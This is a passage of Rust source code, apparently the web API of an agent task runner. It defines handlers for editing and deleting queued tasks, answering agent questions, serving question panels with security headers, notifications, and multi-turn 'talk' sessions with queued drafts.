4544 Path(id): Path<String>,
4545 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4546) -> ApiResult<Json<TaskView>> {
4547 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4548 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4549}
4550
4551#[derive(Debug, Deserialize)]
4553#[serde(deny_unknown_fields)]
4554struct EditBody {
4555 title: String,
4556 instruction: String,
4557 #[serde(default)]
4560 force: bool,
4561}
4562
4563async fn queue_edit(
4567 State(ui): State<Arc<Ui>>,
4568 Path(id): Path<String>,
4569 body: std::result::Result<Json<EditBody>, JsonRejection>,
4570) -> ApiResult<Json<TaskView>> {
4571 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4572 let mut judged: Option<(String, PathBuf)> = None;
4576 if !body.force {
4577 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4578 let (id, text) = (id.clone(), body.instruction.clone());
4579 let (seen, hits) = blocking(move || {
4580 let id = resolve_task(&queue, &id)?;
4581 let t = queue.get(&id)?;
4582 if text == t.instruction {
4583 return Ok((None, Vec::new()));
4584 }
4585 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4586 Ok((Some((t.instruction, t.repo)), hits))
4587 })
4588 .await?;
4589 if let Some((_, repo)) = &seen {
4590 let cfg = crate::config::Config::discover(repo, None)
4591 .ok()
4592 .map(|(c, _)| c);
4593 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4594 .await
4595 .map_err(|dup| {
4596 ApiError::conflict(dup.render(
4597 "Nothing was saved. If it is not a duplicate, repeat the request with \
4598 \"force\": true.",
4599 ))
4600 })?;
4601 }
4602 judged = seen;
4603 }
4604 let force = body.force;
4605 mutate(ui, id, move |t| {
4606 if !force && body.instruction != t.instruction {
4607 match &judged {
4608 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4609 _ => {
4610 anyhow::bail!("the task changed while it was being checked; repeat the request")
4611 }
4612 }
4613 }
4614 t.edit(body.title.clone(), body.instruction.clone())
4615 })
4616 .await
4617}
4618
4619async fn queue_done(
4627 State(ui): State<Arc<Ui>>,
4628 Path(id): Path<String>,
4629) -> ApiResult<Json<TaskView>> {
4630 let home = ui.home.clone();
4631 mutate(ui, id, move |t| {
4632 t.succeed();
4633 crate::daemon::supersede_prior_runs(t, &home);
4641 Ok(())
4642 })
4643 .await
4644}
4645
4646async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4654 blocking(move || {
4655 let id = resolve_task(&ui.queue, &id)?;
4656 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4657 ui.queue
4658 .remove(&id, in_flight, &ui.questions)
4659 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4660 Ok(StatusCode::NO_CONTENT)
4661 })
4662 .await
4663}
4664
4665async fn mutate(
4674 ui: Arc<Ui>,
4675 id: String,
4676 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4677) -> ApiResult<Json<TaskView>> {
4678 blocking(move || {
4679 let id = resolve_task(&ui.queue, &id)?;
4680 let _claim = ui.queue.claim(&id).map_err(|e| {
4685 ApiError::conflict(format!(
4686 "{e:#} - a daemon is running this task, so it cannot be \
4687 changed from here yet"
4688 ))
4689 })?;
4690 let mut task = ui.queue.get(&id)?;
4691 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4692 Ok(dup) => ApiError::conflict(dup.render(
4693 "Nothing was saved. If it is not a duplicate, repeat the request with \
4694 \"force\": true.",
4695 )),
4696 Err(e) => ApiError::bad_request_from(e),
4697 })?;
4698 ui.queue.put(&mut task)?;
4699 Ok(Json(TaskView::from(task)))
4700 })
4701 .await
4702}
4703
4704async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4712 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4713 tokio::spawn(async move {
4714 let mut ticker = tokio::time::interval(POLL);
4715 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4716 loop {
4717 ticker.tick().await;
4720 let state = Arc::clone(&ui);
4721 let revisions = tokio::task::spawn_blocking(move || {
4722 (
4723 state.queue.revision(),
4724 runs_revision(&state.runs),
4725 state.questions.revision(),
4726 state.talks.revision(),
4727 state.notices.revision(),
4728 state.lock_loop().rev,
4732 )
4733 })
4734 .await;
4735 let Ok(revisions) = revisions else { break };
4736 if last == Some(revisions) {
4737 continue;
4738 }
4739 last = Some(revisions);
4740 let payload = serde_json::json!({
4741 "queue_rev": revisions.0,
4742 "runs_rev": revisions.1,
4743 "questions_rev": revisions.2,
4744 "talks_rev": revisions.3,
4745 "notifications_rev": revisions.4,
4746 "loop_rev": revisions.5,
4747 });
4748 let Ok(event) = Event::default().event("change").json_data(payload) else {
4750 break;
4751 };
4752 if tx.send(event).await.is_err() {
4753 break;
4754 }
4755 }
4756 });
4757 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4758 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4759}
4760
4761fn runs_revision(runs: &FsPath) -> u64 {
4768 use std::hash::{Hash as _, Hasher as _};
4769
4770 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4771 .into_iter()
4772 .flatten()
4773 .flatten()
4774 .filter_map(|e| {
4775 let path = e.path().join("run.json");
4776 let mtime = path
4777 .metadata()
4778 .ok()?
4779 .modified()
4780 .ok()?
4781 .duration_since(std::time::UNIX_EPOCH)
4782 .ok()?
4783 .as_millis() as u64;
4784 let id = e.file_name().to_string_lossy().into_owned();
4785 Some((id, mtime))
4786 })
4787 .collect();
4788
4789 if entries.is_empty() {
4790 return 0;
4791 }
4792
4793 entries.sort_unstable();
4794 let mut hasher = std::hash::DefaultHasher::new();
4795 for (id, mtime) in &entries {
4796 id.hash(&mut hasher);
4797 mtime.hash(&mut hasher);
4798 }
4799 let h = hasher.finish();
4800 if h == 0 { 1 } else { h }
4801}
4802
4803fn run_ids(runs: &FsPath) -> Vec<String> {
4809 let mut ids: Vec<String> = std::fs::read_dir(runs)
4810 .into_iter()
4811 .flatten()
4812 .flatten()
4813 .filter(|e| e.path().join("run.json").is_file())
4814 .map(|e| e.file_name().to_string_lossy().into_owned())
4815 .collect();
4816 ids.sort_unstable_by(|a, b| b.cmp(a));
4818 ids
4819}
4820
4821fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4823 let path = runs.join(id).join("run.json");
4824 let body =
4825 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4826 let state: RunState =
4827 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4828 run::migrate_schema(state)
4833}
4834
4835#[must_use]
4843pub fn runs_unreadable(runs: &FsPath) -> usize {
4844 run_ids(runs)
4845 .into_iter()
4846 .filter(|id| read_run(runs, id).is_err())
4847 .count()
4848}
4849
4850fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4852 if runs.join(id).join("run.json").is_file() {
4853 return Ok(id.to_owned());
4854 }
4855 pick(run_ids(runs), id, "run")
4856}
4857
4858fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4860 if queue.path_of(id).is_file() {
4861 return Ok(id.to_owned());
4862 }
4863 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4864}
4865
4866#[derive(Debug, Serialize)]
4877struct QuestionView {
4878 #[serde(flatten)]
4879 question: Question,
4880 detail_md: Vec<md::Node>,
4881 waiting_on_agent: bool,
4891 holder: Option<&'static str>,
4895 deputies_enabled: bool,
4899}
4900
4901impl QuestionView {
4902 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4906 let base = md::ImageBase::QuestionPanel {
4907 id: question.id.clone(),
4908 };
4909 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4910 Self {
4911 detail_md: md::to_nodes(&question.detail, &base),
4912 waiting_on_agent: question.waiting_on_agent(),
4913 holder,
4914 deputies_enabled,
4915 question,
4916 }
4917 }
4918}
4919
4920fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
4922 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
4923 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
4924}
4925
4926fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4936 if !q.status.open() {
4937 return None;
4938 }
4939 if q.cwd.is_none() && q.deputy.is_none() {
4940 return matches!(
4941 q.node.as_str(),
4942 crate::conduct::NODE | crate::land::APPROVAL_NODE
4943 )
4944 .then_some("nobody");
4945 }
4946 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4947 Some(_) if q.deputy.is_some() => "deputy",
4948 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4949 Some(_) => "asker",
4950 None => "nobody",
4951 })
4952}
4953
4954async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4960 blocking(move || {
4961 Ok(Json(
4962 ui.questions
4963 .list()
4964 .into_iter()
4965 .map(|q| {
4966 let on = deputies_enabled(&ui.repo, &q);
4967 QuestionView::of(q, &ui.questions, on)
4968 })
4969 .collect(),
4970 ))
4971 })
4972 .await
4973}
4974
4975async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4978 blocking(move || {
4979 let items = ui.notices.list();
4980 let unread = items.iter().filter(|n| n.unread()).count();
4981 Ok(Json(
4982 serde_json::json!({ "unread": unread, "items": items }),
4983 ))
4984 })
4985 .await
4986}
4987
4988fn notice_error(e: anyhow::Error) -> ApiError {
4989 ApiError::not_found(format!("{e:#}"))
4992}
4993
4994async fn notification_read(
4996 State(ui): State<Arc<Ui>>,
4997 Path(id): Path<String>,
4998) -> ApiResult<Json<Notice>> {
4999 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5000}
5001
5002async fn notification_dismiss(
5004 State(ui): State<Arc<Ui>>,
5005 Path(id): Path<String>,
5006) -> ApiResult<Json<Notice>> {
5007 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5008}
5009
5010async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5012 blocking(move || {
5013 let changed = ui.notices.mark_all_read()?;
5014 Ok(Json(serde_json::json!({ "marked": changed })))
5015 })
5016 .await
5017}
5018
5019#[derive(Debug, Default, Deserialize)]
5025#[serde(default, deny_unknown_fields)]
5026struct NewAnswer {
5027 choice: Option<String>,
5028 text: Option<String>,
5029}
5030
5031async fn question_answer(
5032 State(ui): State<Arc<Ui>>,
5033 Path(id): Path<String>,
5034 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5035) -> ApiResult<Json<QuestionView>> {
5036 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5037 let answer = match (body.choice, body.text) {
5038 (Some(c), None) => Answer::Choice(c),
5039 (None, Some(t)) => Answer::Text(t),
5040 (Some(_), Some(_)) => {
5041 return Err(ApiError::bad_request(
5042 "send either `choice` or `text`, not both",
5043 ));
5044 }
5045 (None, None) => {
5046 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5047 }
5048 };
5049
5050 blocking(move || {
5051 let id = resolve_question(&ui.questions, &id)?;
5052 let q = ui
5053 .questions
5054 .get(&id)
5055 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5056 if !q.status.open() {
5057 return Err(ApiError::conflict(format!(
5061 "question {} is already {}",
5062 q.short(),
5063 q.status.as_str()
5064 )));
5065 }
5066 let (q, ()) = ui
5070 .questions
5071 .update(&q.id, |r| r.answer(answer))
5072 .map_err(ApiError::bad_request_from)?;
5073 let on = deputies_enabled(&ui.repo, &q);
5074 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5075 })
5076 .await
5077}
5078
5079#[derive(Debug, Deserialize)]
5081#[serde(deny_unknown_fields)]
5082struct NewSay {
5083 body: String,
5084}
5085
5086async fn question_say(
5096 State(ui): State<Arc<Ui>>,
5097 Path(id): Path<String>,
5098 body: std::result::Result<Json<NewSay>, JsonRejection>,
5099) -> ApiResult<Json<QuestionView>> {
5100 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5101 blocking(move || {
5102 let id = resolve_question(&ui.questions, &id)?;
5103 let q = ui
5104 .questions
5105 .get(&id)
5106 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5107 if !q.status.open() {
5108 return Err(ApiError::conflict(format!(
5112 "question {} is already {}",
5113 q.short(),
5114 q.status.as_str()
5115 )));
5116 }
5117 let (q, ()) = ui
5120 .questions
5121 .update(&q.id, |r| r.say(body.body))
5122 .map_err(ApiError::bad_request_from)?;
5123 let on = deputies_enabled(&ui.repo, &q);
5124 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5125 })
5126 .await
5127}
5128
5129fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5131 if store.path_of(id).is_file() {
5132 return Ok(id.to_owned());
5133 }
5134 pick(
5135 store.list().into_iter().map(|q| q.id).collect(),
5136 id,
5137 "question",
5138 )
5139}
5140
5141async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5156 blocking(move || {
5157 let id = resolve_question(&ui.questions, &id)?;
5158 let Some(html) = ui.questions.panel_html(&id) else {
5159 return Err(ApiError::not_found(format!("question {id} has no panel")));
5160 };
5161 Ok(panel_response(
5162 "text/html; charset=utf-8",
5163 false,
5164 html.into_bytes(),
5165 ))
5166 })
5167 .await
5168}
5169
5170async fn question_asset(
5198 State(ui): State<Arc<Ui>>,
5199 Path((id, name)): Path<(String, String)>,
5200) -> ApiResult<Response> {
5201 if !crate::ask::valid_asset_name(&name) {
5204 return Err(ApiError::bad_request(format!(
5205 "`{name}` is not a usable asset name"
5206 )));
5207 }
5208 blocking(move || {
5209 let id = resolve_question(&ui.questions, &id)?;
5210 let asset = ui
5211 .questions
5212 .panel_asset(&id, &name)
5213 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5214 let Some(bytes) = asset else {
5215 return Err(ApiError::not_found(format!(
5216 "question {id} has no asset `{name}`"
5217 )));
5218 };
5219 Ok(panel_response(
5220 asset_content_type(&name),
5221 is_svg(&name),
5222 bytes,
5223 ))
5224 })
5225 .await
5226}
5227
5228fn asset_content_type(name: &str) -> &'static str {
5241 match extension(name).as_deref() {
5242 Some("png") => "image/png",
5243 Some("jpg" | "jpeg") => "image/jpeg",
5244 Some("gif") => "image/gif",
5245 Some("webp") => "image/webp",
5246 Some("svg") => "image/svg+xml",
5247 Some("css") => "text/css; charset=utf-8",
5248 Some("txt") => "text/plain; charset=utf-8",
5249 _ => "application/octet-stream",
5250 }
5251}
5252
5253fn is_svg(name: &str) -> bool {
5256 extension(name).as_deref() == Some("svg")
5257}
5258
5259fn extension(name: &str) -> Option<String> {
5261 name.rsplit_once('.')
5262 .map(|(_, ext)| ext.to_ascii_lowercase())
5263}
5264
5265fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5282 let mut res = (
5283 [
5284 (header::CONTENT_TYPE, content_type),
5285 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5286 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5287 (header::REFERRER_POLICY, "no-referrer"),
5288 ],
5289 body,
5290 )
5291 .into_response();
5292 if download {
5293 res.headers_mut().insert(
5294 header::CONTENT_DISPOSITION,
5295 HeaderValue::from_static("attachment"),
5296 );
5297 }
5298 res
5299}
5300
5301#[derive(Debug, Serialize)]
5307struct TalkView {
5308 #[serde(flatten)]
5309 talk: Talk,
5310 turn_bodies_md: Vec<Vec<md::Node>>,
5311 thinking: bool,
5319 context: talk::ContextUsage,
5323}
5324
5325impl TalkView {
5326 fn new(talk: Talk, thinking: bool) -> Self {
5329 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5330 Self::with_config(talk, thinking, cfg.as_ref())
5331 }
5332
5333 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5336 let context = talk::context_usage(&talk, cfg);
5337 let turn_bodies_md = talk
5338 .turns
5339 .iter()
5340 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5341 .collect();
5342 Self {
5343 turn_bodies_md,
5344 thinking,
5345 context,
5346 talk,
5347 }
5348 }
5349}
5350
5351#[derive(Debug, Serialize)]
5356struct TalkDetailView {
5357 #[serde(flatten)]
5358 view: TalkView,
5359 tasks: Vec<TaskView>,
5360 roster: Vec<RosterEntry>,
5363}
5364
5365#[derive(Debug, Serialize)]
5367struct RosterEntry {
5368 id: String,
5369 kind: AgentKind,
5370 runnable: bool,
5372}
5373
5374async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5379 blocking(move || {
5380 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5381 Ok(Json(
5382 ui.talks
5383 .list()
5384 .into_iter()
5385 .map(|talk| {
5386 let thinking = ui.is_thinking(&talk.id);
5387 let cfg = configs
5388 .entry(talk.repo.clone())
5389 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5390 TalkView::with_config(talk, thinking, cfg.as_ref())
5391 })
5392 .collect(),
5393 ))
5394 })
5395 .await
5396}
5397
5398#[derive(Debug, Default, Deserialize)]
5403#[serde(default)]
5404struct NewTalk {
5405 agent: Option<String>,
5406 repo: Option<PathBuf>,
5407}
5408
5409async fn talk_post(
5412 State(ui): State<Arc<Ui>>,
5413 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5414) -> ApiResult<impl IntoResponse> {
5415 let body = match body {
5419 Ok(Json(body)) => body,
5420 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5421 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5422 };
5423 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5424 let cfg = config_for(&repo).await?;
5425 let view = blocking(move || {
5426 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5427 let thinking = ui.is_thinking(&talk.id);
5428 Ok(TalkView::new(talk, thinking))
5429 })
5430 .await?;
5431 Ok((StatusCode::CREATED, Json(view)))
5432}
5433
5434async fn talk_detail(
5436 State(ui): State<Arc<Ui>>,
5437 Path(id): Path<String>,
5438) -> ApiResult<Json<TalkDetailView>> {
5439 blocking(move || {
5440 let id = resolve_talk(&ui.talks, &id)?;
5441 let talk = ui.talks.get(&id)?;
5442 let thinking = ui.is_thinking(&talk.id);
5443 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5444 .into_iter()
5445 .map(TaskView::from)
5446 .collect();
5447 let roster = Config::discover(&talk.repo, None)
5448 .map(|(cfg, _)| {
5449 cfg.agents
5450 .iter()
5451 .map(|a| RosterEntry {
5452 id: a.id.clone(),
5453 kind: a.kind,
5454 runnable: agent::installed(a),
5455 })
5456 .collect()
5457 })
5458 .unwrap_or_default();
5459 Ok(Json(TalkDetailView {
5460 view: TalkView::new(talk, thinking),
5461 tasks,
5462 roster,
5463 }))
5464 })
5465 .await
5466}
5467
5468#[derive(Debug, Default, Deserialize)]
5474#[serde(default, deny_unknown_fields)]
5475struct NewTalkTurn {
5476 text: String,
5477 attachments: Vec<String>,
5478}
5479
5480#[derive(Debug, Deserialize)]
5481#[serde(deny_unknown_fields)]
5482struct EditTalkPending {
5483 text: String,
5484 expected_text: String,
5485 expected_attachments: Vec<String>,
5486}
5487
5488#[derive(Debug, Deserialize)]
5489#[serde(deny_unknown_fields)]
5490struct ClearTalkPending {
5491 expected_text: String,
5492 expected_attachments: Vec<String>,
5493}
5494
5495async fn talk_say(
5507 State(ui): State<Arc<Ui>>,
5508 Path(id): Path<String>,
5509 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5510) -> ApiResult<(StatusCode, Json<TalkView>)> {
5511 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5512 if body.text.trim().is_empty() && body.attachments.is_empty() {
5513 return Err(ApiError::bad_request("say something"));
5514 }
5515
5516 let id = {
5517 let ui = Arc::clone(&ui);
5518 let asked = id.clone();
5519 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5520 };
5521 {
5525 let ui = Arc::clone(&ui);
5526 let id = id.clone();
5527 blocking(move || {
5528 let talk = ui.talks.get(&id)?;
5529 if !talk.status.open() {
5530 return Err(ApiError::conflict(format!(
5531 "talk {} is {} and takes no more turns",
5532 talk.short(),
5533 talk.status.as_str()
5534 )));
5535 }
5536 Ok(())
5537 })
5538 .await?;
5539 }
5540
5541 let attachments = {
5546 let ui = Arc::clone(&ui);
5547 let id = id.clone();
5548 let ids = body.attachments.clone();
5549 blocking(move || {
5550 ids.into_iter()
5551 .map(|att_id| {
5552 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5553 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5554 })
5555 })
5556 .collect::<ApiResult<Vec<talk::Attachment>>>()
5557 })
5558 .await?
5559 };
5560
5561 let start = {
5566 let ui = Arc::clone(&ui);
5567 let id = id.clone();
5568 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5569 };
5570 let turn_guard = match start {
5571 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5572 TalkTurnStart::Pending => {
5573 return Err(ApiError::conflict(
5574 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5575 ));
5576 }
5577 TalkTurnStart::Busy => {
5578 let (tx, rx) = tokio::sync::oneshot::channel();
5594 tokio::spawn({
5595 let ui = Arc::clone(&ui);
5596 let id = id.clone();
5597 let said = body.text.clone();
5598 async move {
5599 let written = blocking({
5600 let ui = Arc::clone(&ui);
5601 let id = id.clone();
5602 move || {
5603 let mut talk = ui.talks.get(&id)?;
5604 #[cfg(test)]
5609 if let Some(gate) = ui
5610 .busy_queue_gate
5611 .lock()
5612 .unwrap_or_else(PoisonError::into_inner)
5613 .take()
5614 {
5615 let _ = gate.reached.send(());
5616 let _ = gate.release.recv();
5617 }
5618 if let Err(error) =
5619 talk::queue(&mut talk, &ui.talks, &said, attachments)
5620 {
5621 if let Ok(fresh) = ui.talks.get(&id) {
5622 if !fresh.status.open() {
5623 return Err(ApiError::conflict(format!(
5624 "talk {} is {} and takes no more turns",
5625 fresh.short(),
5626 fresh.status.as_str()
5627 )));
5628 }
5629 }
5630 return Err(ApiError::from(error));
5631 }
5632 let claim = match ui.begin_queued_talk_turn(&id)? {
5643 Some(turn_guard) => {
5644 let (cfg, _) = Config::discover(&talk.repo, None)?;
5645 Some((talk.clone(), cfg, turn_guard))
5646 }
5647 None => None,
5648 };
5649 let thinking = ui.is_thinking(&id);
5650 Ok((TalkView::new(talk, thinking), claim))
5651 }
5652 })
5653 .await;
5654 let (view, reclaimed) = match written {
5655 Ok(pair) => pair,
5656 Err(e) => {
5657 let _ = tx.send(Err(e));
5662 return;
5663 }
5664 };
5665 let _ = tx.send(Ok(view));
5668 if let Some((talk, cfg, turn_guard)) = reclaimed {
5669 let talks = ui.talks.clone();
5670 drain_loop(talk, talks, cfg, id, turn_guard).await;
5671 }
5672 }
5673 });
5674 let view = rx
5675 .await
5676 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5677 return Ok((StatusCode::ACCEPTED, Json(view)));
5678 }
5679 };
5680
5681 let (talk, cfg) = {
5682 let ui = Arc::clone(&ui);
5683 let id = id.clone();
5684 blocking(move || {
5685 let talk = ui.talks.get(&id)?;
5686 let (cfg, _) = Config::discover(&talk.repo, None)?;
5687 Ok((talk, cfg))
5688 })
5689 .await?
5690 };
5691
5692 let talks = ui.talks.clone();
5693 let (tx, rx) = tokio::sync::oneshot::channel();
5708 tokio::spawn({
5709 let ui = Arc::clone(&ui);
5710 let talks = talks.clone();
5711 let id = id.clone();
5712 let said = body.text.clone();
5713 let mut talk = talk.clone();
5714 async move {
5715 let recorded = blocking({
5716 let talks = talks.clone();
5717 move || {
5718 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5719 if let Ok(fresh) = talks.get(&talk.id) {
5720 if !fresh.status.open() {
5721 return Err(ApiError::conflict(format!(
5722 "talk {} is {} and takes no more turns",
5723 fresh.short(),
5724 fresh.status.as_str()
5725 )));
5726 }
5727 }
5728 return Err(ApiError::from(error));
5729 }
5730 Ok((said.trim().to_owned(), talk))
5736 }
5737 })
5738 .await;
5739 let (text, mut talk) = match recorded {
5740 Ok(pair) => pair,
5741 Err(e) => {
5742 let _ = tx.send(Err(e));
5746 return;
5747 }
5748 };
5749 let queued = talk.clone();
5750 let thinking = ui.is_thinking(&id);
5751 let _ = tx.send(Ok((queued, thinking)));
5754
5755 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5756 tracing::warn!("talk {id} turn failed: {e:#}");
5760 }
5761 drain_loop(talk, talks, cfg, id, turn_guard).await;
5764 }
5765 });
5766
5767 let (queued, thinking) = rx
5768 .await
5769 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5770
5771 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5773}
5774
5775async fn talk_pending_resume(
5779 State(ui): State<Arc<Ui>>,
5780 Path(id): Path<String>,
5781) -> ApiResult<(StatusCode, Json<TalkView>)> {
5782 let id = {
5783 let ui = Arc::clone(&ui);
5784 let asked = id.clone();
5785 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5786 };
5787 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5788 return Err(ApiError::conflict(
5789 "a talk turn is already running; the queued draft will be handled by it",
5790 ));
5791 };
5792 let (talk, cfg) = {
5793 let ui = Arc::clone(&ui);
5794 let id = id.clone();
5795 blocking(move || {
5796 let talk = ui.talks.get(&id)?;
5797 if !talk.status.open() {
5798 return Err(ApiError::conflict(format!(
5799 "talk {} is {} and takes no more turns",
5800 talk.short(),
5801 talk.status.as_str()
5802 )));
5803 }
5804 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5805 return Err(ApiError::conflict("there is no queued draft to resume"));
5806 }
5807 let (cfg, _) = Config::discover(&talk.repo, None)?;
5808 Ok((talk, cfg))
5809 })
5810 .await?
5811 };
5812 let view = TalkView::new(talk.clone(), true);
5813 let talks = ui.talks.clone();
5814 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5815 Ok((StatusCode::ACCEPTED, Json(view)))
5816}
5817
5818async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5834 let live_set = Arc::clone(&turn.turns);
5835 let mut turn = Some(turn);
5843 loop {
5844 let observed = live_set
5848 .lock()
5849 .unwrap_or_else(PoisonError::into_inner)
5850 .queued
5851 .get(&id)
5852 .copied()
5853 .unwrap_or(0);
5854 let drained = blocking({
5855 let talks = talks.clone();
5856 move || {
5857 let result = talk::drain(&mut talk, &talks);
5858 Ok((talk, result))
5859 }
5860 })
5861 .await;
5862 let (next_talk, result) = match drained {
5863 Ok(drained) => drained,
5864 Err(e) => {
5865 tracing::warn!(
5866 status = %e.status,
5867 message = %e.message,
5868 "talk {id} could not start queued-text drain"
5869 );
5870 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5871 turn.take()
5872 .expect("held for the whole loop until released here")
5873 .release(&mut live);
5874 break;
5875 }
5876 };
5877 talk = next_talk;
5878 let drained = match result {
5879 Ok(Some(drained)) => drained,
5880 Ok(None) => {
5881 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5882 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5883 continue;
5884 }
5885 turn.take()
5886 .expect("held for the whole loop until released here")
5887 .release(&mut live);
5888 break;
5889 }
5890 Err(e) => {
5891 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5892 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5893 turn.take()
5894 .expect("held for the whole loop until released here")
5895 .release(&mut live);
5896 break;
5897 }
5898 };
5899 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5900 tracing::warn!("talk {id} turn failed: {e:#}");
5901 }
5902 }
5903}
5904
5905async fn talk_pending_clear(
5907 State(ui): State<Arc<Ui>>,
5908 Path(id): Path<String>,
5909 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5910) -> ApiResult<Json<TalkView>> {
5911 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5912 blocking(move || {
5913 let id = resolve_talk(&ui.talks, &id)?;
5914 let mut talk = ui.talks.get(&id)?;
5915 if !talk.status.open() {
5916 return Err(ApiError::conflict(format!(
5917 "talk {} is {} and takes no more turns",
5918 talk.short(),
5919 talk.status.as_str()
5920 )));
5921 }
5922 if !talk::clear_pending_if_matches(
5923 &mut talk,
5924 &ui.talks,
5925 &body.expected_text,
5926 &body.expected_attachments,
5927 )? {
5928 return Err(ApiError::conflict(
5929 "queued message changed; reload it before clearing",
5930 ));
5931 }
5932 let thinking = ui.is_thinking(&talk.id);
5933 Ok(Json(TalkView::new(talk, thinking)))
5934 })
5935 .await
5936}
5937
5938async fn talk_pending_edit(
5942 State(ui): State<Arc<Ui>>,
5943 Path(id): Path<String>,
5944 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5945) -> ApiResult<Json<TalkView>> {
5946 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5947 let (view, reclaimed) = blocking({
5948 let ui = Arc::clone(&ui);
5949 move || {
5950 let id = resolve_talk(&ui.talks, &id)?;
5951 let mut talk = ui.talks.get(&id)?;
